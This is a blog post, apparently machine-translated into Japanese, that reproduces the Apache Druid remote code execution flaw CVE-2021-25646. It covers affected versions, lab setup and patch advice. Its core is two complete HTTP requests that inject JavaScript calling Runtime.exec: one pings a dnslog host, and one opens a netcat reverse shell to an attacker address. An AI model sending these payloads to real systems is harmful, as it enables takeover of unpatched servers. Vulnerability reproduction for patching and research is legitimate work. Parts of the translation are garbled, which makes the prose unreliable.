【脆弱性の再発】ApacheDruidリモートコード実行CVE-2021-25646

 

0x00はじめに

この脆弱性の根本的な問題は、ドルイドの世界的な問題です。開発者は、ジャクソン関連のタグを使用する際に省略を行い、攻撃者が着信json文字列を作成して一部の機密パラメーターを制御できるようにしています。

Alibaba Cloud Security @ Litch1は、ApacheDruidのリモートコード実行の脆弱性をApacheに公式に報告しました

当時は脆弱性がわかっていたので、抽出したpocが公開されなかったので、今日目が覚めたらたくさんの公会計が掲載されていました。また、まとめて各社の取締役を集めて定期記事を書きました。

Apache Druidは、Javaで記述された列指向のオープンソース分散データストレージであり、大量のイベントデータをすばやく取得し、データに対して低レイテンシのクエリを提供するように設計されています。
Apache Druidには、デフォルトで認証と認証がありません。攻撃者は、Druidサーバー上のプロセスの権限で任意のコードを実行するために、特別に細工されたリクエストを送信できます。
Apache Druidには、ユーザーが提供したJavaScriptを実行し、さまざまなタイプのリクエストに埋め込まれるコードが含まれています。信頼性の高い環境で使用する場合、この機能はデフォルトで無効になっています。ただし、Druid 0.20.0以前のバージョンでは、認証されたユーザーが悪意のあるリクエストを送信し、ApacheDruidの脆弱性を悪用して任意のコードを実行します。

0x01影響を受けるバージョン

Apache Druid <0.20.1

0x02環境構築

ここにはあまり書く必要はありません。peiqiが 書いたものを読み 、直接触れて、実際の戦闘で再現します。

Dockerダウンロードリンク:https:  //github.com/apache/druid/archive/druid-0.20.0.zip

ダウンロード後、ディレクトリdistribution \ dockerを入力します 

コマンドを実行してdocker-composeup-dをコンパイルします 

0x03脆弱性の再発

1. POC:(POCは主にdnslogでテストされます:ping xxxxx.dnslog.cn)

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 995
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

2.リバウンドシェル:(ncを使用してリバウンド)

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1008
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

ここではリバウンド実験はしませんでした。peiqiの写真を使用しました。

0x04修理の提案

  1. ApacheDruidを最新の0.20.1バージョンにアップグレードしますhttps://github.com/apache/druid/releases/tag/druid-0.20.1
  2. Apache Druidで権限制御を実行し、信頼できるホストのみがクラスターサーバーにアクセスできるようにします

次のことを示してください:Adminxeのブログ »  [脆弱性の再現] ApacheDruidリモートコード実行CVE-2021-25646

おすすめ

転載: blog.csdn.net/Adminxe/article/details/113601142